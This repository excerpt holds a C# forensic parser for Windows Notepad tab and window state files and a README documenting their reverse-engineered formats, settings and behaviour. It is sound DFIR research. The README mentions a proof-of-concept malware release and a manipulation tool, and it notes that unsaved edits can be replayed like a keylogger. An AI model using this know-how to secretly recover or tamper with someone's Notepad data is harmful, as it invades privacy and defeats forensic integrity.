224 | public string outputLocation { get; set; }
225 | }
226 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowsNotepadParser/Program.cs:
--------------------------------------------------------------------------------
1 | using NotepadStateLibrary;
2 | using CsvHelper;
3 | using CsvHelper.Configuration;
4 | using System.Globalization;
5 | using CommandLine;
6 | using WindowsNotepadParser;
7 | using System.IO.Compression;
8 |
9 |
10 | Parser.Default.ParseArguments(args)
11 | .WithParsed(options =>
12 | {
13 | string tabStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState");
14 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState");
15 | string outputLocation = Directory.GetCurrentDirectory();
16 | bool generateGif = options.generateGif;
17 |
18 | if (!string.IsNullOrWhiteSpace(options.tabStateLocation))
19 | {
20 | tabStateLocation = options.tabStateLocation;
21 | }
22 | if (!string.IsNullOrWhiteSpace(options.windowStateLocation))
23 | {
24 | windowStateLocation = options.windowStateLocation;
25 | }
26 | if (!string.IsNullOrWhiteSpace(options.outputLocation))
27 | {
28 | outputLocation = options.outputLocation;
29 | }
30 |
31 | Console.WriteLine("********** Starting **********");
32 |
33 | //TODO: Detect version of Notepad
34 |
35 | //Powershell? Get-AppxPackage *notepad* | Select Name, Version
36 |
37 | Console.WriteLine("TabState Folder Location - {0}", tabStateLocation);
38 | if (!Directory.Exists(tabStateLocation))
39 | {
40 | Console.WriteLine("!! ERROR: Invalid TabState Folder Location !!");
41 | Environment.Exit(3);
42 | }
43 |
44 | Console.WriteLine("WindowState Folder Location - {0}", windowStateLocation);
45 | if (!Directory.Exists(windowStateLocation))
46 | {
47 | Console.WriteLine("!! ERROR: Invalid WindowState Folder Location !!");
48 | Environment.Exit(3);
49 | }
50 | Console.WriteLine("Output Folder Location - {0}", outputLocation);
51 | if (!Directory.Exists(outputLocation))
52 | {
53 | Directory.CreateDirectory(outputLocation);
54 | Console.WriteLine("!! WARNING: Creating Output Folder !!");
55 | //Environment.Exit(3);
56 | }
57 |
58 | Console.WriteLine();
59 |
60 | List fileTabs = new List();
61 | List noFileTabs = new List();
62 | List stateTabs = new List();
63 | List windowStateTabs = new List();
64 | List unsavedChunks = new List();
65 |
66 | var config = new CsvConfiguration(CultureInfo.InvariantCulture)
67 | {
68 | HasHeaderRecord = true
69 | };
70 |
71 | //Tabstate
72 | Console.WriteLine("Copying TabState Folder - {0}", tabStateLocation);
73 | CreateZipFromDirectory(tabStateLocation, Path.Combine(outputLocation, "TabStateFolder.zip"));
74 |
75 | foreach (var path in Directory.EnumerateFiles(tabStateLocation, "*.bin"))
76 | {
77 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
78 | {
79 | byte[] data = new byte[fileStream.Length];
80 | fileStream.Read(data);
81 |
82 | if (data.Length > 0)
83 | {
84 | Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path));
85 | NPTabState np = new NPTabState(data, Path.GetFileName(path));
86 |
87 | switch (np.TypeFlag)
88 | {
89 | case 0:
90 | noFileTabs.Add(np);
91 | break;
92 | case 1:
93 | fileTabs.Add(np);
94 | break;
95 | default:
96 | stateTabs.Add(np);
97 | break;
98 | }
99 |
100 | if (np.UnsavedBufferChunks.Count > 0)
101 | {
102 | Console.WriteLine("Processing Unsaved Buffer Chunks for TabState - {0}", Path.GetFileName(path));
103 |
104 | using (var writer = new StreamWriter(Path.Combine(outputLocation,string.Format("{0}-UnsavedBufferChunks.csv", Path.GetFileNameWithoutExtension(path)))))
105 | {
106 | using (var csv = new CsvWriter(writer, config))
107 | {
108 |
109 | csv.WriteHeader();
110 | csv.NextRecord();
111 | csv.WriteRecords(np.UnsavedBufferChunks);
112 | }
113 | }
114 |
115 | if (generateGif)
116 | {
117 | Console.WriteLine("Generating Unsaved Buffer Chunks GIF for TabState - {0}", Path.GetFileName(path));
118 | ContentToImage ci = new ContentToImage(np.Content, np.UnsavedBufferChunks, Path.Combine(outputLocation, string.Format("{0}.gif", Path.GetFileNameWithoutExtension(path))));
119 | }
120 | }
121 |
122 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored));
123 | }
124 | }
125 | }
126 |
127 | //Writing File Tabs
128 | if (fileTabs.Count > 0)
129 | {
130 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "FileTabs.csv")))
131 | {
132 | using (var csv = new CsvWriter(writer, config))
133 | {
134 | csv.WriteHeader();
135 | csv.NextRecord();
136 | csv.WriteRecords(fileTabs);
137 | }
138 | }
139 | }
140 |
141 | //Writing No File Tabs
142 | if (noFileTabs.Count > 0)
143 | {
144 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "NoFileTabs.csv")))
145 | {
146 | using (var csv = new CsvWriter(writer, config))
147 | {
148 | csv.WriteHeader();
149 | csv.NextRecord();
150 | csv.WriteRecords(noFileTabs);
151 | }
152 | }
153 | }
154 |
155 | //Writing State Tabs
156 | if (stateTabs.Count > 0)
157 | {
158 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "StateTabs.csv")))
159 | {
160 | using (var csv = new CsvWriter(writer, config))
161 | {
162 | csv.WriteHeader();
163 | csv.NextRecord();
164 | csv.WriteRecords(stateTabs);
165 | }
166 | }
167 | }
168 |
169 | //Windowstate
170 | Console.WriteLine("Copying WindowState Folder - {0}", windowStateLocation);
171 | CreateZipFromDirectory(windowStateLocation, Path.Combine(outputLocation, "WindowStateFolder.zip"));
172 |
173 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin"))
174 | {
175 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
176 | {
177 | byte[] data = new byte[fileStream.Length];
178 | fileStream.Read(data);
179 |
180 | if (data.Length > 0)
181 | {
182 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path));
183 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path));
184 | windowStateTabs.Add(np);
185 |
186 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored));
187 | }
188 | }
189 | }
190 |
191 | //Writing Window States
192 | if (windowStateTabs.Count > 0)
193 | {
194 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "WindowStateTabs.csv")))
195 | {
196 | using (var csv = new CsvWriter(writer, config))
197 | {
198 | csv.WriteHeader();
199 | csv.NextRecord();
200 | csv.WriteRecords(windowStateTabs);
201 | }
202 | }
203 | }
204 |
205 | Console.WriteLine("\r\n********** Finished **********");
206 |
207 | })
208 | .WithNotParsed(errors =>
209 | {
210 | foreach (var error in errors)
211 | {
212 | if (error is HelpRequestedError || error is VersionRequestedError)
213 | {
214 |
215 | }
216 | else
217 | {
218 | Console.WriteLine($"Error: {error}");
219 | }
220 | }
221 | });
222 |
223 | void CreateZipFromDirectory(string sourceDirectoryName, string zipFilePath)
224 | {
225 | using (FileStream zipToOpen = new FileStream(zipFilePath, FileMode.Create))
226 | using (ZipArchive archive = new ZipArchive(zipToOpen, ZipArchiveMode.Create))
227 | {
228 | foreach (var file in Directory.GetFiles(sourceDirectoryName))
229 | {
230 | var entryName = Path.GetFileName(file);
231 | var entry = archive.CreateEntry(entryName);
232 | entry.LastWriteTime = File.GetLastWriteTime(file);
233 | using (var fs = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
234 | using (var stream = entry.Open())
235 | {
236 | fs.CopyTo(stream);
237 | }
238 | }
239 | }
240 | }
241 |
242 | public class Options
243 | {
244 | [Option('t', "tabstatelocation", Required = false, HelpText = "Tab State Folder Location. Default value is the system location.")]
245 | public string tabStateLocation { get; set; }
246 |
247 | [Option('w', "windowstatelocation", Required = false, HelpText = "Window State Folder Location. Default value is the system location.")]
248 | public string windowStateLocation { get; set; }
249 |
250 | [Option('o', "outputlocation", Required = false, HelpText = "Output Folder Location for CSV files. Default location is same folder as program.")]
251 | public string outputLocation { get; set; }
252 |
253 | [Option('g', "generategif" , Default = false, Required = false, HelpText = "Generate GIF images of Unsaved Buffer Chunks. Default is false.")]
254 | public bool generateGif { get; set; }
255 | }
256 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Notepad State Library
2 |
3 | Microsoft Windows 11's version of [Windows Notepad](https://apps.microsoft.com/detail/9msmlrh6lzf3) supports multiple tabs and many other features. This repository serves to record and document my research and efforts in reverse engineering the format of the tabstate and windowstate files and understand their behavior. The result of which is a C# library and toolset that provides the ability to parse and manipulate the tabstate, windowstate, and settings files.
4 |
5 | The following are planned:
6 |
7 | - [ ] Tabstate Manipulator
8 | - [X] Windowstate Manipulator - [https://github.com/ogmini/Notepad-State-Library/releases/tag/WindowStateEditor](https://github.com/ogmini/Notepad-State-Library/releases/tag/WindowStateEditor)
9 | - [ ] Ways to detect manipulation
10 | - [X] POC Malware - [https://github.com/ogmini/Notepad-State-Library/releases/tag/GaslitPad](https://github.com/ogmini/Notepad-State-Library/releases/tag/GaslitPad)
11 |
12 | This library and its tools could be useful in forensic investigations or even in the toolbox for a red/purple team.
13 |
14 | > [!NOTE]
15 | > This repository grew out of two previous repositories of research and code that have been kept for posterity.
16 | >
17 | > [https://github.com/ogmini/Notepad-Tabstate-Buffer](https://github.com/ogmini/Notepad-Tabstate-Buffer)
18 | > [https://github.com/ogmini/Notepad-Windowstate-Buffer](https://github.com/ogmini/Notepad-Windowstate-Buffer)
19 |
20 | ## Usage
21 | >
22 | > [!WARNING]
23 | > Prior to using the library or any of the tools, you should have an understanding of the tabstate, windowstate, and settings files. I try to keep this README updated with research that I am documenting on my [blog](https://ogmini.github.io/tags.html#Windows-Notepad).
24 | >
25 | > [Information Section](#information)
26 | >
27 | > - [Tabstate](#tabstate)
28 | > - [Windowstate](#windowstate)
29 | > - [Settings](#settings)
30 | > - [Rewrite (AI Integration)](#rewrite)
31 |
32 | ### Library
33 |
34 | I have not released compiled DLLs. You can find the source code at [https://github.com/ogmini/Notepad-State-Library/tree/main/NotepadStateLibrary/NotepadStateLibrary](https://github.com/ogmini/Notepad-State-Library/tree/main/NotepadStateLibrary/NotepadStateLibrary) and compile it.
35 |
36 | Documentation WIP
37 |
38 | ### Pattern Files
39 |
40 | Binary Templates for 010 Editor and Pattern Files for ImHex have been submitted to their respective repositories and should be available for use. They can also be found in this repository at [https://github.com/ogmini/Notepad-State-Library/tree/main/PatternFiles](https://github.com/ogmini/Notepad-State-Library/tree/main/PatternFiles).
41 |
42 | ### Parser
43 |
44 | There are two versions of the parser and their differences are detailed below.
45 |
46 | `WindowsNotepadParser.exe` will check the default locations for [Tabstate](#tabstate) and [Windowstate](#windowstate) files and generate CSV files which can be viewed in tools such as [Timeline Explorer](https://ericzimmerman.github.io/) or Excel. GIFs will also be generated for any detected [Unsaved Buffer Chunks](#unsaved-buffer-chunk) to visualize the changes of the content over time.
47 |
48 | `WindowsNotepadParser-minimal.exe` will not generate GIFs for any [Unsaved Buffer Chunks](#unsaved-buffer-chunk).
49 |
50 | Running `WindowsNotepadParser.exe --help` will display flag options.
51 |
52 | ``` cmd
53 | -t, --tabstatelocation Tab State Folder Location. Default value is the system location.
54 |
55 | -w, --windowstatelocation Window State Folder Location. Default value is the system location.
56 |
57 | -o, --outputlocation Output Folder Location for CSV files. Default location is same folder as program.
58 |
59 | --help Display this help screen.
60 |
61 | --version Display version information.
62 | ```
63 |
64 | Examples
65 |
66 | The following arguments would look at D:\tabstatefolder for tab state files and D:\windowstatefolder for window state fles. The csv files will be output to D:\results.
67 | `WindowsNotepadParser.exe -t D:\tabstatefolder -w D:\windowstatefolder -o D:\results`
68 |
69 | The following arguments will parse the default system location for the current user and output the csv files to D:\results.
70 | `WindowsNotepadParser.exe -o D:\results`
71 |
72 | ## Information
73 |
74 | The information below has been tested/validated on the following configurations:
75 |
76 | | Windows Build | Windows Notepad Version |
77 | |---|---|
78 | | Windows 11 23H2 OS Build 22635.3566 (Beta Release Branch) | 11.2402.22.0 |
79 | | Windows 11 23H2 OS Build 22631.3527 (Stable Release Branch) | 11.2402.22.0 |
80 | | Windows 11 23H2 OS Build 22631.3737 (Stable Release Branch) | 11.2404.10.0 |
81 | | Windows 11 23H2 OS Build 22631.4317 (Stable Release Branch) | 11.2407.9.0 |
82 | | Windows 11 23H2 OS Build 22631.4317 (Stable Release Branch) | 11.2408.12.0 |
83 | | Windows 11 23H2 OS Build 22631.4460 (Stable Release Branch) | 11.2409.9.0 |
84 | | Windows 11 24H2 OS Build 26100.4652 (Stable Release Branch) | 11.2504.62.0 |
85 | | Windows 11 25H2 OS Build 26200.6899 (Stable Release Branch) | 11.2507.26.0 |
86 |
87 | ### Tabstate
88 |
89 | > [!NOTE]
90 | > Location of Files
91 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState`
92 | >
93 | > Relevant Files
94 | > `*.bin` `*.0.bin` `*.1.bin`
95 |
96 | The tabstate files store information about the open tabs and their contents in Windows Notepad. The filenames are GUIDs and there are three types of *.bin files:
97 |
98 | - _File Tab_
99 | - These tabs have been saved to disk or have been opened from a file on disk.
100 | - These tabs can be in a Saved or Unsaved condition.
101 | - Unsaved condition is visually denoted by a dot to the right of the Tab name.
102 | 
103 | - They have a TypeFlag of 1.
104 | - _No File Tab_
105 | - These tabs have not been saved to disk and have not been opened from a file on disk. They only exist in the *.bin files.
106 | - These tabs can be in a New or Reopened condition.
107 | - Reopened condition is visually denoted by a dot to the right of the Tab name.
108 | 
109 | - They have a TypeFlag of 0.
110 | - _State File_
111 | - These are the *.0.bin and *.1.bin files and store extra information about the related matching GUID *.bin.
112 | - These files do not always exist and this behavior will be expanded upon in the [Behavior](#behavior) section.
113 | - They have a TypeFlag of 10 or 11.
114 |
115 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes.
116 |
117 | I've created a [Notepad-Tabstate.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-TabState.bt&type=0&sort=) for 010 Editor and a [Notepad-Tabstate.hexpat](/PatternFiles/Tabstate/Notepad-TabState.hexpat) for ImHex to assist in examining these files.
118 |
119 | #### File Format
120 |
121 | ##### File Tab
122 |
123 | |Name|Type|Notes|Saved Condition|
124 | |---|---|---|---|
125 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
126 | |Sequence Number|uLEB128|Always 0|
127 | |TypeFlag|uLEB128|Equal to 1|
128 | |FilePathLength|uLEB128|Length of the FilePath in bytes|
129 | |FilePath|UTF-16LE (Variable Length)|FilePath string with length determined from FilePathLength|
130 | |SavedFileContentLength|uLEB128|Size in bytes of the text file saved on disk|Will be 0 if all changes have been saved to the file|
131 | |EncodingType|1 byte|1 = ANSI / 2 = UTF16LE / 3 = UTF16BE / 4 = UTF8BOM / 5 = UTF8|
132 | |CarriageReturnType|1 byte|1 = Windows CRLF / 2 = Macintosh CR / 3 = Unix LF|
133 | |Timestamp|uLEB128|18-digit Win32 FILETIME|Will be 0 if all changes have been saved to the file|
134 | |FileHash|32 bytes|SHA256 Hash of the text file saved on disk|Will be 0 if all changes have been saved to the file|
135 | |:question:Unknown|2 bytes|[0x00, 0x01]|
136 | |SelectionStartIndex|uLEB128|Start position of text selection|
137 | |SelectionEndIndex|uLEB128|End position of text selection|
138 | |[Configuration Block](#configuration-block)|||
139 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0 if all changes have been saved to the file|
140 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist if all changes have been saved to the file|
141 | |Unsaved|1 byte|Unsaved flag|Will be 0 since the file has been saved|
142 | |CRC32|4 bytes|CRC32 Check|
143 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Will exist if any changes to the file are unsaved|Will not exist if all changes been saved to the file|
144 |
145 | ##### No File Tab
146 |
147 | |Name|Type|Notes|New Condition|
148 | |---|---|---|---|
149 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
150 | |Sequence Number|uLEB128|Always 0|
151 | |TypeFlag|uLEB128|Equal to 0|
152 | |:question:Unknown|1 byte|[0x01]|
153 | |SelectionStartIndex|uLEB128|Start position of text selection|
154 | |SelectionEndIndex|uLEB128|End position of text selection|
155 | |[Configuration Block](#configuration-block)|||
156 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0|
157 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist|
158 | |Unsaved|1 byte|Unsaved flag|Will be 0|
159 | |CRC32|4 bytes|CRC32 Check|
160 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Values will exist for changes until they are flushed to Content when Windows Notepad is closed||
161 |
162 | ##### State File
163 |
164 | |Name|Type|Notes|
165 | |---|---|---|
166 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
167 | |Sequence Number|uLEB128|Increments and highest number signifies the active state file|
168 | |TypeFlag|uLEB128|10 = No File Tab State / 11 = File Tab State|
169 | |:question:Unknown|1 byte|[0x00]|
170 | |BinSize|uLEB128|Size in bytes of the associated *.bin file|
171 | |SelectionStartIndex|uLEB128|Start position of text selection|
172 | |SelectionEndIndex|uLEB128|End position of text selection|
173 | |[Configuration Block](#configuration-block)|||
174 | |CRC32|4 bytes|CRC32 Check|
175 |
176 | ###### Configuration Block
177 |
178 | |Name|Type|Notes|
179 | |---|---|---|
180 | |WordWrap|1 byte|WordWrap flag|
181 | |RightToLeft|1 byte|RightToLeft flag|
182 | |ShowUnicode|1 byte|ShowUnicode flag|
183 | |MoreOptions|uLEB128|Number of More Options in bytes that follow|
184 | |[More Options Block](#more-options-block)|||
185 |
186 | ###### More Options Block
187 |
188 | |Name|Type|Notes|
189 | |---|---|---|
190 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added|
191 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added|
192 | |Formatting| 1 byte| 1 = Unformatted / 2 = Markdown Formatted / 3 = Markdown Syntax|
193 |
194 | ###### Unsaved Buffer Chunk
195 |
196 | Note, these will not exist for a Markdown Formatted tab. [https://ogmini.github.io/2025/06/28/Windows-Notepad-Markdown-Support.html](https://ogmini.github.io/2025/06/28/Windows-Notepad-Markdown-Support.html)
197 | |Name|Type|Notes|
198 | |---|---|---|
199 | |Cursor Position|uLEB128|Cursor Position of where Deletion/Addition/Insertion begins. Insertion is signified by both a Deletion Action and Addition Action|
200 | |Deletion Action|uLEB128|Number of Characters deleted|
201 | |Addition Action|uLEB128|Number of Characters added|
202 | |Added Characters|UTF-16LE (Variable Length)|Characters added with length determined from Addition Action|
203 | |CRC32|4 bytes|CRC32 Check of Unsaved Buffer Chunk|
204 |
205 | ### Windowstate
206 |
207 | > [!NOTE]
208 | > Location of Files
209 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState`
210 | >
211 | > Relevant Files
212 | > `*.0.bin` `*.1.bin`
213 |
214 | The windowstate files store information about opened windows of Windows Notepad and files are created for each opened window. Information is stored about:
215 |
216 | - Number of tabs
217 | - Order of tabs
218 | - Active tab
219 | - Window size
220 | - Window position
221 |
222 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes.
223 |
224 | I've created a [Notepad-WindowState.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-WindowState.bt&type=0&sort=) for 010 Editor and a [Notepad-WindowState.hexpat](/PatternFiles/Windowstate/Notepad-WindowState.hexpat) for ImHex to assist in examining these files.
225 |
226 | #### File Format
227 |
228 | |Name|Type|Notes|
229 | |---|---|---|
230 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
231 | |Sequence Number|uLEB128||
232 | |BytesToCRC|uLEB128|Number of bytes to the CRC Check|
233 | |:question:Unknown|1 byte|[0x00]|
234 | |NumberTabs|uLEB128|Number of Tabs in Notepad|
235 | |GUID Chunks|16 bytes (Variable Number of Chunks)|GUID for each tab in view order that refer to the filename of the matching [Tabstate](#tabstate) file|
236 | |ActiveTab|uLEB128|Number of Active Tab in Notepad. 0 based index.|
237 | |TopLeftCoords_X|uINT32||
238 | |TopLeftCoords_Y|uINT32||
239 | |BottomRightCoords_X|uINT32||
240 | |BottomRightCoords_Y|uINT32||
241 | |WindowSize_Width|uINT32||
242 | |WindowSize_Height|uINT32||
243 | |:question:Unknown|1 byte|[0x00]|
244 | |CRC32|4 bytes|CRC32 Check|
245 | |[Slack Space](#slack-space)|Variable||
246 |
247 | #### Slack Space
248 |
249 | It appears that the windowstate files will never reduce in size. More testing is required to validate this or to discover what actions will cause them to be deleted or cleared out.
250 |
251 | There is a potential to recover complete or partial GUIDs from the slack space that can be tied back to past [Tabstate](#tabstate) files. These deleted files could possibly be recovered and examined. As Tabs are opened and closed, the slack space will get more and more convoluted and disarrayed as records are overwritten as the GUID Chunks section changes in size. Manual parsing is suggested and there is no guarantee of being able to recover anything of use.
252 |
253 | ##### Approaches
254 |
255 | > [!WARNING]
256 | > The approaches make heavy assumptions. As Tabs are opened and closed, the slack space will get more and more convoluted and disarrayed. Manual parsing is suggested and there is no guarantee of being able to recover anything of use.
257 |
258 | WIP
259 |
260 | ### Settings
261 | >
262 | > [!NOTE]
263 | > Location of Files
264 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings`
265 | >
266 | > Relevant Files
267 | > `settings.dat`
268 |
269 | The settings files store application wide settings and defaults. The `settings.dat` file is an application hive which can be opened with Registry Editor and other tools which can handle registry files. I've also updated the [RegistryHive.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=RegistryHive.bt&type=0&sort=) for 010 Editor. If a key doesn't exist that option hasn't been changed from the default or set. Research has already been published on this file format and a list of links can be found [here](#useful-links--information)
270 |
271 | ### Rewrite
272 |
273 | WIP
274 |
275 | Rewrite is the AI integration into Windows Notepad.
276 |
277 | Please see the following blog links:
278 | [https://ogmini.github.io/2025/03/08/Windows-Notepad-Rewrite.html](https://ogmini.github.io/2025/03/08/Windows-Notepad-Rewrite.html)
279 | [https://ogmini.github.io/2025/03/14/Windows-Notepad-Rewrite-Part-2.html](https://ogmini.github.io/2025/03/14/Windows-Notepad-Rewrite-Part-2.html)
280 | [https://ogmini.github.io/2025/03/16/Windows-Notepad-Rewrite-Part-3.html](https://ogmini.github.io/2025/03/16/Windows-Notepad-Rewrite-Part-3.html)
281 | [https://ogmini.github.io/2025/03/18/Windows-Notepad-Rewrite-Part-4.html](https://ogmini.github.io/2025/03/18/Windows-Notepad-Rewrite-Part-4.html)
282 | [https://ogmini.github.io/2025/03/19/Windows-Notepad-Rewrite-Part-5.html](https://ogmini.github.io/2025/03/19/Windows-Notepad-Rewrite-Part-5.html)
283 |
284 | #### Useful Links / Information
285 |
286 | [Application Hives](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-operations-on-application-hives)
287 |
288 | [Windows Store App Settings](https://lunarfrog.com/blog/inspect-app-settings)
289 |
290 | [Manipulating Windows Store App Settings](https://www.damirscorner.com/blog/posts/20150117-ManipulatingSettingsDatFileWithSettingsFromWindowsStoreApps.html)
291 |
292 | [UWP App Data Storage](https://helgeklein.com/blog/uwp-universal-windows-app-data-storage-admins/)
293 |
294 | [REGF Format](https://github.com/libyal/libregf/blob/main/documentation/Windows%20NT%20Registry%20File%20(REGF)%20format.asciidoc)
295 |
296 | [Registry Format](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md)
297 |
298 | #### File Format
299 |
300 | | Type | Hex | Description |
301 | |---|---|---|
302 | |0x5f5e104|`04 E1 F5 05` | uINT32
303 | |0x5f5e105|`05 E1 F5 05` | uINT32
304 | |0x5f5e10b|`0B E1 F5 05` | byte (bool)
305 | |0x5f5e10c|`0C E1 F5 05` | string (NULL Terminated)
306 |
307 | Last 8 bytes of the value for each key is the 18-digit Win32 FILETIME Timestamp for the setting change.
308 |
309 | | KeyName | Type | Notes |
310 | |---|---|---|
311 | |AutoCorrect|0x5f5e10b| 0 = Off / 1 = On
312 | |FindMatchCase | 0x5f5e10b | 0 = Off / 1 = On. Default is 0. |
313 | |FindString | 0x5f5e10c | Stores the last string searched by find. |
314 | |FindWrapAround | 0x5f5e10b | 0 = Off / 1 = On. Default is 1. |
315 | |FirstCowriterClick | 0x5f5e10b | |
316 | |FirstSignIn | 0x5f5e10b | |
317 | |FontFamily|0x5f5e10c| String
318 | |FontSize|0x5f5e104|
319 | |FontStyle|0x5f5e10c| String
320 | |FormattingEnabled| 0x5f5e10b | Markdown Enabled
321 | |FormattingFREFirstLoad| 0x5f5e10b | Unknown
322 | |GhostFile|0x5f5e10b| 0 = Open in a new window / 1 = Open content from a previous session
323 | |LocalizedFontFamily|0x5f5e10c| String
324 | |LocalizedFontStyle|0x5f5e10c| String
325 | |OpenFile|0x5f5e104| 0 = New Tab / 1 = New Window
326 | |PrivacyTeachingTip | 0x5f5e10b | |
327 | |RecentFiles | 0x5f5e10c | CSV array. List is in descending order with the most recently closed file at the top. |
328 | |RecentFilesEnabled | 0x5f5e10b | 0 = Off / 1 = On |
329 | |RecentFilesFirstLoad | 0x5f5e10b | 0 = Off / 1 = On |
330 | |ReplaceString | 0x5f5e10c | Stores the last string that was the replacement. |
331 | |RewriteEnabled|0x5f5e10b| 0 = Off / 1 = On
332 | |RewriteTeachingtip|0x5f5e10b| 0 = Off / 1 = On
333 | |SpellCheckState|0x5f5e10c| JSON: `{"Enabled":false,"FileExtensionsOverrides":[[".md",true],[".ass",true],[".lic",true],[".srt",true],[".lrc",true],[".txt",true]]}`
334 | |StatusBarShown|0x5f5e10b| 0 = Off / 1 = On
335 | |TeachingTipCheckCount|0x5f5e105| Unknown
336 | |TeachingTipExplicitClose|0x5f5e10b| Unknown
337 | |TeachingTipVersion|0x5f5e105| Unknown
338 | |Theme|0x5f5e104| 0 = System / 1 = Light / 2 = Dark
339 | |WebAccountId|0x5f5e10c| Unknown
340 | |WebAccountType | 0x5f5e104 | |
341 | |WindowPositionBottom|0x5f5e104|
342 | |WindowPositionHeight|0x5f5e104|
343 | |WindowPositionLeft|0x5f5e104|
344 | |WindowPositionRight|0x5f5e104|
345 | |WindowPositionTop|0x5f5e104|
346 | |WindowPositionWidth|0x5f5e104|
347 | |WordWrap|0x5f5e10b| 0 = Off / 1 = On|
348 |
349 | ### Behavior
350 |
351 | Timestamp for the _File Tab_ for [Tabstate](#tabstate) files will be set to 0 when the file is saved to disk. It will have a valid value when the first change is made to the contents of the file. Any successive changes before saving the file will not result in the Timestamp being updated. This behavior persists over opening/closing Windows Notepad. In short, the Timestamp for the _File Tab_ indicates when changes were started to be made on the file and that they have not yet been saved to disk.
352 |
353 | The timestamps associated with each key in the application hive show us when those [Settings](#settings) were last changed.
354 |
355 | The sequence number is used to tell which *.0.bin or *.1.bin is active as updates alternate between the two. The file with the highest sequence number is the active one and are relevant to both _State Files_ and [Windowstate](#windowstate) files.
356 |
357 | The presence of _State Files_ can tell us a bit about the usage pattern of Windows Notepad. For a _File Tab_ with no changes, the _State Files_ are only created when Windows Notepad is closed. They are subsequently deleted when the _File Tab_ is made active. The sequence number for the _State Files_ will never increment and the *.1.bin file will be empty.
358 |
359 | For a _File Tab_ or _No File Tab_ with unsaved changes, the _State Files_ are only created when Windows Notepad is closed and no [Unsaved Buffer Chunks](#unsaved-buffer-chunk) were flushed. They are subsequently deleted when new changes are made or the file has been saved. The sequence number for the _State Files_ will increment everytime Windows Notepad is closed and is indicative of many cycles of opening and closing Windows Notepad while in the unsaved and flushed state.
360 |
361 | While Windows Notepad is open the _File Tab_ and _No File Tab_ can have [Unsaved Buffer Chunks](#unsaved-buffer-chunk) of changes that haven't been flushed. The [Unsaved Buffer Chunks](#unsaved-buffer-chunk) can be used to playback the changes to the text similar to a keylogger. Once Windows Notepad is closed or the file is saved, the [Unsaved Buffer Chunks](#unsaved-buffer-chunk) are flushed into the content.
362 |
363 | Opening a Tab adds another Tab GUID Chunk to the collection of Chunks and updates the number of bytes to the CRC32 in the [Windowstate](#windowstate) file. Any existing slack space in the file will get overwritten up to the end of the new CRC32.
364 |
365 | Closing a tab deletes the relevant Tab GUID Chunk from the collection of Chunks and updates the number of bytes to the CRC32. Slack space after the CRC32 may result from closing tabs. The files appear to never get smaller.
366 |
367 | The following actions will cause an update of the sequence number in the [Windowstate](#windowstate) files:
368 |
369 | - Resizing window
370 | - Moving window
371 | - Reordering/moving tabs
372 | - Closing tab(s)
373 | - Closing multiple tabs at once results in one action
374 | - Opening tab(s)
375 |
376 | Creating a new Windows Notepad window by dragging a tab outside of the original window will spawn new [Windowstate](#windowstate) files. As you close each extra window, it will prompt you to save any files in that window and the corresponding [Windowstate](#windowstate) files will be deleted. When the last window of Windows Notepad is closed, the final [Windowstate](#windowstate) files will not be deleted. Only the [Windowstate](#windowstate) files for the last closed Windows Notepad is kept.
377 |
378 | ## Acknowledgements
379 |
380 | In random order:
381 |
382 | [jlogsdon](https://github.com/jlogsdon)
383 | [NordGaren](https://github.com/Nordgaren)
384 | [JohnHammond](https://github.com/JohnHammond)
385 | [JustArion](https://github.com/JustArion)
386 | [joost-j](https://github.com/joost-j)
387 | [daddycocoaman](https://github.com/daddycocoaman)
388 |
--------------------------------------------------------------------------------
/DFIR Review - Is that Windows Notepad Window really empty.md:
--------------------------------------------------------------------------------
1 | # Is that Windows Notepad window really empty?
2 |
3 | ## Synopsis
4 |
